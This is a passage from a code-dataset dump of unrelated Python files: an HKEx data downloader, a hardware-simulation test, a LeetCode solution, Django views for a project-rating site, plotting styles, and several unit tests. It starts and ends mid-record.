time.sleep(10)\n #sys.exit(-1)\n logger.error(\"Download failed!\")\n return False\n \ndef getLastTradeDate(dirHKEx, dtNow):\n filePttn = dirHKEx + r'/' + dtNow.strftime('%Y%m') + '*.csv'\n fpList = sorted(glob.glob(filePttn), reverse=True)\n if len(fpList) == 0:\n dtPrevMth = dtNow + dateutil.relativedelta.relativedelta(months=-1)\n filePttn = dirHKEx + r'/' + dtPrevMth.strftime('%Y%m') + '*.csv'\n fpList = sorted(glob.glob(filePttn), reverse=True)\n \n fpHKEx = fpList[0]\n logger.info('Using Trade Data from HKEx: %s' % fpHKEx)\n df = pd.read_csv(fpHKEx, sep='\\t', error_bad_lines=False, quoting=csv.QUOTE_ALL, na_values=['-'], encoding='UTF-16LE', parse_dates=['Trade Date']) \n \n dtLastTrade = yyyymmdd = df.iloc[0]['Trade Date']\n logger.info('Last DateTrade: %s' % yyyymmdd)\n return dtLastTrade \n \nif __name__ == \"__main__\": \n dtNow = dt.datetime.now()\n yyyymmdd = dtNow.strftime('%Y%m%d') \n dtLastTrade = getLastTradeDate(dirHKexWrnt, dtNow)\n yyyymmdd_p1 = dtLastTrade.strftime('%Y%m%d')\n \n req = [ \n # ==== HKEx Holiday Schedule ====\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/tradcal/nont10.htm',\n # 'fout' : dirHKexHldy + r'\\HKExHoliday_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # ==== HKEx Detailed DWs and CBBCs info ====\n { 'url' : 'https://www.hkex.com.hk/eng/dwrc/search/dwFullList.csv',\n 'fout' : dirHKexWrnt + r'\\ListedWarrants\\dwFullList_' + yyyymmdd + '.csv',\n 'retry': 60 },\n { 'url' : 'https://www.hkex.com.hk/eng/dwrc/newissue/newlaunch.xls',\n 'fout' : dirHKexWrnt + r'\\NewLaunchWarrants\\newlaunch_' + yyyymmdd + '.xls',\n 'retry': 60 }, \n { 'url' : 'https://www.hkex.com.hk/eng/cbbc/search/cbbcFullList.csv',\n 'fout' : dirHKexCBBC + r'\\ListedCBBCs\\cbbcFullList_' + yyyymmdd + '.csv',\n 'retry': 60 },\n { 'url' : 'https://www.hkex.com.hk/eng/cbbc/newissue/newlaunch.xls',\n 'fout' : dirHKexCBBC + r'\\NewLaunchCBBCs\\newlaunch_' + yyyymmdd + '.xls',\n 'retry': 60 }, \n { 'url' : 'https://www.hkex.com.hk/eng/stat/dmstat/dayrpt/dqe' + yyyymmdd_p1[2:8] + '.zip',\n 'fout' : dirHKexStkO+ r'\\zip\\dqe_' + yyyymmdd_p1 + '.zip',\n 'retry': 60 },\n { 'url' : 'https://www.hkex.com.hk/eng/stat/dmstat/dayrpt/dqetmc' + yyyymmdd_p1[2:8] + '.zip',\n 'fout' : dirHKexStkO + r'\\zip\\dqetmc_' + yyyymmdd_p1 + '.zip',\n 'retry': 60 }, \n \n # ==== Listed Securities at HKEx ====\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdcbbc.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/CBBCs_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdwarr.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/DWs_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdhdr.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/HDRs_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdew.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/EquityWarrants_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisddebt.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/DebtSecurities_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdic.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/InvestmentCompanies_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdetf.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/ETFs_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/liproducts.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/LeveragedInverseProducts_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdreit.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/REITs_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdtrus.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/OtherUnitTrustsMutualFunds_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdnadq.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/TradingOnly_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'http://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdeqty.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/MainBoardStocks_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'https://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdgems.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/GEStocks_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'https://www.hkex.com.hk/eng/market/sec_tradinfo/stockcode/eisdgemw.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/GEMEquityWarrants_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n # { 'url' : 'https://www.hkex.com.hk/eng/prod/drprod/so/classlist_so.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/OptionsClassList_' + yyyymmdd + '.htm',\n # 'retry': 60 },\n { 'url' : 'https://www.hkex.com.hk/products/listed-derivatives/single-stock/stock-options?sc_lang=en',\n 'fout' : dirHKexList + '/' + yyyymmdd + '/OptionsClassListNew_' + yyyymmdd + '.htm',\n 'retry': 60 },\n # { 'url' : 'https://www.hkex.com.hk/eng/prod/drprod/so/holidayex2.htm',\n # 'fout' : dirHKexList + '/' + yyyymmdd + '/OptionsExpiry_' + yyyymmdd + '.htm',\n # 'retry': 60 }\n ] \n \n for r in req:\n downloadData(r['url'], r['fout'], r['retry'])\n #print req[0]['url']\n\n# # ==== tick data (need login) ====\n# fname_tickdata = dirHKexTick + r'\\CFBC_' + yyyymmdd + '.zip'\n# downdloadTickData(yyyymmdd, fname_tickdata)\n \n \n \n \n","sub_path":"HKExDownload/HKExDownload.py","file_name":"HKExDownload.py","file_ext":"py","file_size_in_byte":8650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"228424237","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nimport sys\nimport os\n\n# the next line can be removed after installation\nsys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))))))\n\nfrom veriloggen import *\nimport veriloggen.types.axi as axi\n\n\ndef mkMain():\n m = Module('main')\n clk = m.Input('CLK')\n rst = m.Input('RST')\n\n myaxi = axi.AxiSlave(m, 'myaxi', clk, rst)\n myaxi.disable_write()\n\n fsm = FSM(m, 'fsm', clk, rst)\n\n # read address\n addr, length, valid = myaxi.pull_read_request(cond=fsm)\n rdata = m.Reg('rdata', 32, initval=0)\n rlen = m.Reg('rlen', 32, initval=0)\n rlast = rlen <= 1\n fsm.If(valid)(\n rdata(addr >> 2),\n rlen(length)\n )\n fsm.If(valid).goto_next()\n\n # read rdata\n ack = myaxi.push_read_data(rdata, rlast, cond=fsm)\n fsm.If(ack)(\n rdata(rdata + 1),\n rlen.dec()\n )\n fsm.If(ack, rlast).goto_next()\n\n fsm.goto_init()\n\n return m\n\n\ndef mkTest():\n m = Module('test')\n\n # target instance\n main = mkMain()\n\n # copy paras and ports\n params = m.copy_params(main)\n ports = m.copy_sim_ports(main)\n\n clk = ports['CLK']\n rst = ports['RST']\n\n _axi = axi.AxiMaster(m, '_axi', clk, rst, noio=True)\n _axi.disable_write()\n\n _axi.connect(ports, 'myaxi')\n\n fsm = FSM(m, 'fsm', clk, rst)\n\n # read request (1)\n araddr1 = 1024\n arlen1 = 64\n ack = _axi.read_request(araddr1, arlen1, cond=fsm)\n fsm.If(ack).goto_next()\n\n # read data (1)\n data, valid, last = _axi.read_data(cond=fsm)\n sum = m.Reg('sum', width=32, initval=0)\n\n fsm.If(valid)(\n sum.add(data)\n )\n fsm.If(valid, last).goto_next()\n\n # read request (2)\n araddr2 = 1024 + 1024\n arlen2 = 64 + 64\n ack = _axi.read_request(araddr2, arlen2, cond=fsm)\n fsm.If(ack).goto_next()\n\n # read data (2)\n data, valid, last = _axi.read_data(cond=fsm)\n\n fsm.If(valid)(\n sum.add(data)\n )\n fsm.If(valid, last).goto_next()\n\n # verify\n expected_sum = (((araddr1 // 4 + araddr1 // 4 + arlen1 - 1) * arlen1) // 2 +\n ((araddr2 // 4 + araddr2 // 4 + arlen2 - 1) * arlen2) // 2)\n fsm(\n Systask('display', 'sum=%d expected_sum=%d', sum, expected_sum)\n )\n fsm.If(sum == expected_sum)(\n Systask('display', '# verify: PASSED')\n ).Else(\n Systask('display', '# verify: FAILED')\n )\n fsm.goto_next()\n\n uut = m.Instance(main, 'uut',\n params=m.connect_params(main),\n ports=m.connect_ports(main))\n\n # vcd_name = os.path.splitext(os.path.basename(__file__))[0] + '.vcd'\n # simulation.setup_waveform(m, uut, m.get_vars(), dumpfile=vcd_name)\n simulation.setup_clock(m, clk, hperiod=5)\n init = simulation.setup_reset(m, rst, m.make_reset(), period=100)\n\n init.add(\n Delay(1000 * 100),\n Systask('finish'),\n )\n\n return m\n\n\ndef run(filename='tmp.v', simtype='iverilog', outputfile=None):\n\n if outputfile is None:\n outputfile = os.path.splitext(os.path.basename(__file__))[0] + '.out'\n\n # memimg_name = 'memimg_' + outputfile\n\n # test = mkTest(memimg_name=memimg_name)\n test = mkTest()\n\n if filename is not None:\n test.to_verilog(filename)\n\n sim = simulation.Simulator(test, sim=simtype)\n rslt = sim.run(outputfile=outputfile)\n\n return rslt\n\n\nif __name__ == '__main__':\n rslt = run(filename='tmp.v')\n print(rslt)\n","sub_path":"tests/extension/types_/axi_/slave_read/types_axi_slave_read.py","file_name":"types_axi_slave_read.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"316272916","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\n\"\"\"\nApproach: want to evaluate the max sum path by current node.val + left subtree + right subtree\nNeed to recurse down the tree -- if node has no children, its max sum is its value \n\nmax gain function allows us to find the max gain of each node \n\nNow everything is ready to write down an algorithm.\n\nInitiate max_sum as the smallest possible integer and call max_gain(node = root).\nImplement max_gain(node) with a check to continue the old path/to start a new path:\nBase case : if node is null, the max gain is 0.\nCall max_gain recursively for the node children to compute max gain from the left and right subtrees : left_gain = max(max_gain(node.left), 0) and\nright_gain = max(max_gain(node.right), 0).\nNow check to continue the old path or to start a new path. To start a new path would cost price_newpath = node.val + left_gain + right_gain. Update max_sum if it's better to start a new path.\nFor the recursion return the max gain the node and one/zero of its subtrees could add to the current path : node.val + max(left_gain, right_gain).\n\"\"\"\nclass Solution:\n def maxPathSum(self, root: TreeNode) -> int:\n # recursive function, don't want to keep setting max_sum to -inf \n def max_gain(node): # will recurse on each node \n # base case \n if node is None: \n return 0 \n # recurse on the left subtree & get the left max gain \n left_gain = max(max_gain(node.left), 0)\n # recurse on the right subtree & get the right max gain \n right_gain = max(max_gain(node.right), 0)\n # find the path by adding all the values together (from the computed gains)\n path = node.val + left_gain + right_gain \n # find the max sum by evaluating our past max sum and our current max sum path \n self.max_sum = max(self.max_sum, path)\n \n # computing the gain of each child node\n return node.val + max(left_gain, right_gain)\n \n self.max_sum = float('-inf') # necessary for negative numbers \n max_gain(root) # calls our recursive function on our root node \n return self.max_sum # return global var max_sum that keeps updating \n\n # Time complexity: O(N) where N is the number of nodes, since we visit each node not more than 2 times\n # Space complexity: O(log(N)) -- recursion stack of the size of the tree height ","sub_path":"PYTHON/binary_tree_max_path_sum_124.py","file_name":"binary_tree_max_path_sum_124.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"271396670","text":"import csv\nimport os\nimport shutil\n\n\n# filter the 0< JS LOC <36 AND CC <11\ndef filter(csvArr, savePath):\n trivialArr = []\n for i in csvArr:\n with open(i) as f:\n for line in f.readlines():\n arr = line.split(\",\")\n if len(arr) < 2:\n continue\n name = arr[0]\n jsLoc = int(arr[1])\n cc = int(arr[3])\n if 0 list_of_intensities[pos + 1]:\n max_value = element\n list_of_maxima.append(max_value)\n elif type(element) == float:\n if list_of_intensities[pos - 1] < element > list_of_intensities[pos + 1]:\n max_value = element\n list_of_maxima.append(max_value)\n elif type(element) == tuple:\n max_value = (255,255,255)\n if sum(list_of_intensities[pos - 1]) > sum(element) < sum(list_of_intensities[pos + 1]):\n max_value = element\n list_of_maxima.append(max_value)\n return list_of_maxima\n","sub_path":"playground/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"224405638","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import ProjectForm, ProfileForm, DesignForm, ContentForm, UsabilityForm\nfrom .models import Project, Profile\nfrom django.contrib.auth.models import User\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .serializer import ProfSerializer, ProjectSerializer\nfrom .permissions import IsAuthenticatedOrReadOnly\nfrom rest_framework import status\n\n\n# Create your views here.\n@login_required(login_url='/accounts/login/')\ndef index(request):\n projects = Project.objects.all().order_by('-posted_on')\n form = DesignForm()\n form = UsabilityForm()\n form = ContentForm()\n return render(request, 'index.html', locals())\n\n\n# @login_required(login_url='/accounts/login/')\ndef new_project(request):\n \"\"\"\n Function that enables one to upload projects\n \"\"\"\n profile = Profile.objects.all()\n for profile in profile:\n if request.method == 'POST':\n form = ProjectForm(request.POST, request.FILES)\n if form.is_valid():\n pro = form.save(commit=False)\n pro.profile = profile\n pro.user = request.user\n pro.save()\n return redirect('landing')\n else:\n form = ProjectForm()\n return render(request, 'new_pro.html', {\"form\": form})\n\n\n# @login_required(login_url='/accounts/login/')\ndef edit_profile(request):\n \"\"\"\n Function that enables one to edit their profile information\n \"\"\"\n current_user = request.user\n profile = Profile.objects.get(user=request.user)\n if request.method == 'POST':\n form = ProfileForm(request.POST, request.FILES)\n if form.is_valid():\n profile = form.save(commit=False)\n profile.user = current_user\n profile.save()\n return redirect('landing')\n else:\n form = ProfileForm()\n return render(request, 'profile/edit-profile.html', {\n \"form\": form,\n })\n\n\n# @login_required(login_url='/accounts/login/')\ndef view_project(request, id):\n \"\"\"\n Function that enables one to view specific project\n \"\"\"\n title = \"View Project\"\n project = Project.get_pro_by_id(id=id)\n\n return render(request, 'view_project.html', locals())\n\n\n# @login_required(login_url='/accounts/login/')\ndef profile(request, user_id):\n \"\"\"\n Function that enables one to see their profile\n \"\"\"\n title = \"Profile\"\n pros = Project.get_pro_by_user(id=user_id).order_by('-posted_on')\n profiles = Profile.objects.get(user_id=user_id)\n users = User.objects.get(id=user_id)\n return render(request, 'profile/profile.html', locals())\n\n\ndef search_results(request):\n\n if 'pro' in request.GET and request.GET[\"pro\"]:\n search_term = request.GET.get(\"pro\")\n searched_projects = Project.search_by_title(search_term)\n message = f\"{search_term}\"\n\n return render(request, 'search.html', {\n \"message\": message,\n \"pros\": searched_projects\n })\n\n else:\n message = \"You haven't searched for any term\"\n return render(request, 'search.html', {\"message\": message})\n\n\nclass ProfList(APIView):\n permission_classes = (IsAuthenticatedOrReadOnly, )\n\n def get(self, request, format=None):\n all_merchprof = Profile.objects.all()\n serializers = ProfSerializer(all_merchprof, many=True)\n return Response(serializers.data)\n\n def post(self, request, format=None):\n serializers = ProfSerializer(data=request.data)\n if serializers.is_valid():\n serializers.save()\n return Response(serializers.data, status=status.HTTP_201_CREATED)\n return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ProjectList(APIView):\n permission_classes = (IsAuthenticatedOrReadOnly, )\n\n def get(self, request, format=None):\n all_merchproj = Project.objects.all()\n serializers = ProjectSerializer(all_merchproj, many=True)\n return Response(serializers.data)\n\n def post(self, request, format=None):\n serializers = ProjectSerializer(data=request.data)\n if serializers.is_valid():\n serializers.save()\n return Response(serializers.data, status=status.HTTP_201_CREATED)\n return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# @login_required(login_url='/accounts/login/')\ndef add_design(request, id):\n project = get_object_or_404(Project, pk=id)\n if request.method == 'POST':\n form = DesignForm(request.POST)\n if form.is_valid():\n rate = form.save(commit=False)\n rate.project = project\n rate.user_name = request.user\n rate.profile = request.user.profile\n rate.save()\n return redirect('landing')\n else:\n form = DesignForm()\n\n return render(request, 'index.html', {'form': form})\n\n\n# @login_required(login_url='/accounts/login/')\ndef add_usability(request, id):\n project = get_object_or_404(Project, pk=id)\n if request.method == 'POST':\n form = UsabilityForm(request.POST)\n if form.is_valid():\n rate = form.save(commit=False)\n rate.project = project\n rate.user_name = request.user\n rate.profile = request.user.profile\n\n rate.save()\n return redirect('landing')\n else:\n form = UsabilityForm()\n\n return render(request, 'index.html', {'form': form})\n\n\n# @login_required(login_url='/accounts/login/')\ndef add_content(request, id):\n project = get_object_or_404(Project, pk=id)\n if request.method == 'POST':\n form = ContentForm(request.POST)\n if form.is_valid():\n rate = form.save(commit=False)\n rate.project = project\n rate.user_name = request.user\n rate.profile = request.user.profile\n\n rate.save()\n return redirect('landing')\n else:\n form = ContentForm()\n\n return render(request, 'index.html', {'form': form})\n","sub_path":"awards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"93958534","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 19 18:26:43 2015\n\n@author: Tillsten\n\"\"\"\nimport matplotlib.pyplot as plt\nfrom .utils import CascaDict\n\n\n\nplt.rcParams['font.family'] = 'Sans'\nplt.rcParams['toolbar'] = 'None'\n\n\nfigure_settings = dict(pixel_size = (1280, 1024),\n dpi = 120.,\n zoom = 0.5,\n color = (0.1, 0.1, 0.1))\n\nENUM_CHAR = u'■'\n\ntext_style = CascaDict()\ntext_style.update({\n 'fontsize': 24,\n 'color': 'w',\n})\n\nbig_title_style = text_style.cascade()\nbig_title_style.update({\n 'fontsize': 48,\n 'fontweight': 'bold',\n 'ha': 'center',\n 'va': 'bottom'})\n\nsub_title_style = text_style.cascade()\nsub_title_style.update({\n 'fontsize': 30,\n 'fontweight': 'normal',\n 'ha': 'center',\n 'va': 'top'})\n\n\nenum_style = text_style.cascade()\nenum_style.update({\n 'fontsize': 26,\n 'fontweight': 'normal',\n 'ha': 'left',\n 'va': 'top',\n })\n\nenum_char_style = {\n 'fontsize': enum_style['fontsize']/2-2,\n 'fontweight': 'normal',\n 'fontname': 'StixGeneral',\n 'color': enum_style['color'],\n 'ha': 'left',\n 'va': 'top',\n }\n\nlayout = {\n 'title.pos': (0.05, 0.88),\n 'title.width': 35,\n 'subtitle.width': 40,\n 'bigtitle.pos': (0.5, 0.5),\n 'content.top': 0.78,\n 'content.bottom': 0.05,\n 'content.right': 0.94,\n 'content.left': 0.06,\n 'content.hcenter': 0.5,\n 'content.vcenter': 0.75/2.,\n 'enum.offset': (0.01),\n 'enum.y_adv': enum_char_style['fontsize']*0.95,\n 'enum.indent': enum_char_style['fontsize']*4,\n 'enum.linewidth': 30\n\n }\n","sub_path":"mplslides/styles.py","file_name":"styles.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"511680369","text":"import pytest\nfrom ..word_embedding_model import WordEmbeddingModel\nfrom ..utils import load_weat_w2v\nfrom gensim.test.utils import common_texts\nfrom gensim.models import Word2Vec, FastText\n\n\ndef test_word_embedding_model_init_types():\n\n # Test types verifications\n\n # target sets None\n with pytest.raises(TypeError,\n match='word_embedding must be an instance of a '\n 'gensim\\'s KeyedVectors'):\n WordEmbeddingModel(None)\n\n # target sets int\n with pytest.raises(TypeError,\n match='word_embedding must be an instance of a '\n 'gensim\\'s KeyedVectors'):\n WordEmbeddingModel('abc')\n\n with pytest.raises(\n TypeError,\n match=\n 'word_embedding must be an instance of a gensim\\'s KeyedVectors'):\n WordEmbeddingModel(1)\n\n with pytest.raises(\n TypeError,\n match=\n 'word_embedding must be an instance of a gensim\\'s KeyedVectors'):\n WordEmbeddingModel({})\n\n with pytest.raises(\n TypeError,\n match=\n 'word_embedding must be an instance of a gensim\\'s KeyedVectors'):\n WordEmbeddingModel({})\n\n\ndef test_word_embedding_model_init():\n\n # Test\n\n # Load dummy w2v\n weat_we = load_weat_w2v()\n\n with pytest.raises(TypeError, match='model_name must be a string'):\n WordEmbeddingModel(weat_we, 12)\n\n with pytest.raises(TypeError,\n match='vocab_prefix parameter must be a string.'):\n WordEmbeddingModel(weat_we, 'A', 12)\n\n model_1 = WordEmbeddingModel(weat_we, 'weat_we')\n assert model_1.model_ == weat_we\n assert model_1.model_name_ == 'weat_we'\n assert model_1.vocab_prefix_ == ''\n\n model_2 = WordEmbeddingModel(weat_we)\n assert model_2.model_name_ == 'Unnamed word embedding model'\n assert model_2.vocab_prefix_ == ''\n\n model_3 = WordEmbeddingModel(weat_we, 'weat_we', '\\\\c\\\\en')\n assert model_3.model_name_ == 'weat_we'\n assert model_3.vocab_prefix_ == '\\\\c\\\\en'\n\n\ndef test_word_embedding_model_eq():\n model_1 = WordEmbeddingModel(load_weat_w2v(), 'weat_1')\n model_2 = WordEmbeddingModel(load_weat_w2v(), 'weat_2')\n\n assert model_1 == model_1\n assert model_1 != model_2\n\n model_1.model_ = None\n\n assert model_1 != model_2\n\n\ndef test_w2v():\n\n w2v = Word2Vec(common_texts, size=100, window=5, min_count=1, workers=-1)\n w2v_keyed_vectors = w2v.wv\n wem = WordEmbeddingModel(w2v_keyed_vectors, \"w2v\")\n\n assert w2v.wv == wem.model_\n\n\ndef test_fast():\n fast = FastText(size=4,\n window=3,\n min_count=1,\n sentences=common_texts,\n iter=10)\n fast_keyed_vectors = fast.wv\n wem = WordEmbeddingModel(fast_keyed_vectors, \"w2v\")\n\n assert fast.wv == wem.model_\n","sub_path":"wefe/tests/test_word_embedding_model.py","file_name":"test_word_embedding_model.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"352111906","text":"# PIL Divide Blend test\n\nimport Image \nimport ImageMath \n\nimgA = Image.open('dirt05.jpg')\nimgA.load()\nimgB = Image.open('dirt05.jpg')\nimgB.load()\n\n# split RGB images into 3 channels\nrA, gA, bA = imgA.split()\nrB, gB, bB = imgB.split()\n\n# divide each channel (image1/image2)\nrTmp = ImageMath.eval(\"int(a/((float(b)+1)/256))\", a=rA, b=rB).convert('L')\ngTmp = ImageMath.eval(\"int(a/((float(b)+1)/256))\", a=gA, b=gB).convert('L')\nbTmp = ImageMath.eval(\"int(a/((float(b)+1)/256))\", a=bA, b=bB).convert('L')\n\n# merge channels into RGB image\nimgOut = Image.merge(\"RGB\", (rTmp, gTmp, bTmp))\n\nimgOut.save('foi.png', 'PNG')\n\nos.system('start.png')","sub_path":"projetoproimagens/testedividir imagem.py","file_name":"testedividir imagem.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"30635171","text":"def solution(s):\n result = []\n #LOS PARAMETROS SE PUEDEN EDITAR Y QUEDAN GUARDADOS\n if len(s) % 2:\n s += '_'\n for i in range(0, len(s), 2): #EN RANGE TAMBIEN SE PUEDE HACER DESDE, HASTA Y PASO\n result.append(s[i:i+2])\n return result\n\nprint(solution(\"jaeiogaio\"))\n","sub_path":"two_characters_final.py","file_name":"two_characters_final.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"616669356","text":"import os\nimport json\nimport time\n\nimport pytest\nfrom urllib import request\n\nfrom jina.flow import Flow\nfrom jina.proto import jina_pb2\nfrom jina import Document\nfrom jina import helper\nfrom jina.executors.encoders import BaseEncoder\nfrom tests import validate_callback\n\ncur_dir = os.path.dirname(os.path.abspath(__file__))\n\n_document_fields = sorted(set(list(jina_pb2.DocumentProto().DESCRIPTOR.fields_by_name)))\n\n# check if this can be bypassed\nIGNORED_FIELDS = ['embedding', 'score']\n\n\n@pytest.fixture\ndef docs():\n return [Document(id=f'{idx}', text=f'doc{idx}') for idx in range(10)]\n\n\ndef test_no_matches_grpc(mocker, docs):\n def validate_response(resp):\n for doc in resp.search.docs:\n assert len(doc.matches) == 0\n\n mock_on_done = mocker.Mock()\n with Flow().add(uses='_pass') as f:\n f.search(inputs=docs, on_done=mock_on_done)\n validate_callback(mock_on_done, validate_response)\n\n\n@pytest.fixture\ndef query_dict():\n return {'top_k': 3, 'mode': 'search', 'data': [f'text:query']}\n\n\nclass MockExecutor(BaseEncoder):\n def get_docs(self, req_type):\n if req_type == 'ControlRequest':\n return []\n driver = self._drivers[req_type][0]\n return driver.docs\n\n def __call__(self, req_type, *args, **kwargs):\n if req_type == 'ControlRequest':\n for d in self._drivers[req_type]:\n d()\n else:\n for doc in self.get_docs(req_type):\n doc.tags['tag'] = 'test'\n\n\ndef test_no_matches_rest(query_dict):\n port = helper.random_port()\n with Flow(rest_api=True, port_expose=port).add(uses='!MockExecutor'):\n # temporarily adding sleep\n time.sleep(0.5)\n query = json.dumps(query_dict).encode('utf-8')\n req = request.Request(\n f'http://0.0.0.0:{port}/search',\n data=query,\n headers={'content-type': 'application/json'},\n )\n resp = request.urlopen(req).read().decode('utf8')\n doc = json.loads(resp)['search']['docs'][0]\n present_keys = sorted(doc.keys())\n for field in _document_fields:\n if field not in IGNORED_FIELDS + ['buffer', 'content', 'blob']:\n assert field in present_keys\n","sub_path":"tests/integration/issues/github_2103/test_search_attributes.py","file_name":"test_search_attributes.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558795276","text":"import glob\nfrom datetime import datetime\nfrom typing import List\n\nimport pytest\nfrom django.db import IntegrityError\nfrom django.urls import reverse\nfrom httpretty import httpretty\n\nfrom core.models import *\nfrom core.test_viewsets import FlightsMixin, BaseTestViewSet\n\n\nclass ProjectsMixin:\n @pytest.fixture\n def projects(self, users):\n p1 = users[0].user_projects.create(name=\"proj1\")\n p2 = users[0].user_projects.create(name=\"proj2\")\n return p1, p2\n\n\n@pytest.mark.django_db\nclass TestUserProjectModel(FlightsMixin, ProjectsMixin, BaseTestViewSet):\n def test_disk_path(self, projects):\n assert projects[1].get_disk_path() == \"/projects/\" + str(projects[1].uuid)\n\n def test_workspace_name(self, projects: List[UserProject]):\n assert projects[0]._get_geoserver_ws_name() == \"project_{}\".format(projects[0].uuid)\n\n def test_all_flights_multispectral(self, projects, flights):\n projects[0].flights.add(flights[0], flights[1])\n assert projects[0].all_flights_multispectral()\n projects[1].flights.add(flights[0], flights[1], flights[2])\n assert not projects[1].all_flights_multispectral()\n\n def test_mainortho_creation_geoserver(self, c, users, flights, projects, monkeypatch, fs):\n c.force_authenticate(users[0])\n create_ws_executed = False\n put_requests = []\n\n def mark_create_ws_executed(request, uri, response_headers):\n del (request, uri)\n nonlocal create_ws_executed\n create_ws_executed = True\n return [200, response_headers, \"\"]\n\n def mock_requests_put(*args, **kwargs):\n nonlocal put_requests\n put_requests.append({\"url\": args[0], \"headers\": kwargs[\"headers\"], \"data\": kwargs[\"data\"]})\n\n httpretty.register_uri(httpretty.POST, \"http://container-geoserver:8080/geoserver/rest/workspaces\",\n mark_create_ws_executed)\n import inspect\n import django\n import pytz\n fs.add_real_directory(os.path.dirname(inspect.getfile(django)))\n fs.add_real_directory(os.path.dirname(inspect.getfile(pytz)))\n fs.create_file(\"/flights/{}/odm_orthophoto/rgb.tif\".format(flights[1].uuid), contents=\"\")\n monkeypatch.setattr(requests, \"put\", mock_requests_put)\n\n resp = c.post(reverse('projects-list'), {\"name\": \"foo\", \"description\": \"bar\", \"flights\": flights[1].uuid})\n assert resp.status_code == 201\n assert create_ws_executed\n created_proj_uuid = resp.json()[\"uuid\"]\n assert len(put_requests) == 2 # 2 PUT requests to Geoserver\n\n # Check first request\n assert \"/workspaces/project_\" + created_proj_uuid in put_requests[0][\"url\"] # URL contains project UUID\n assert \"text/plain\" in 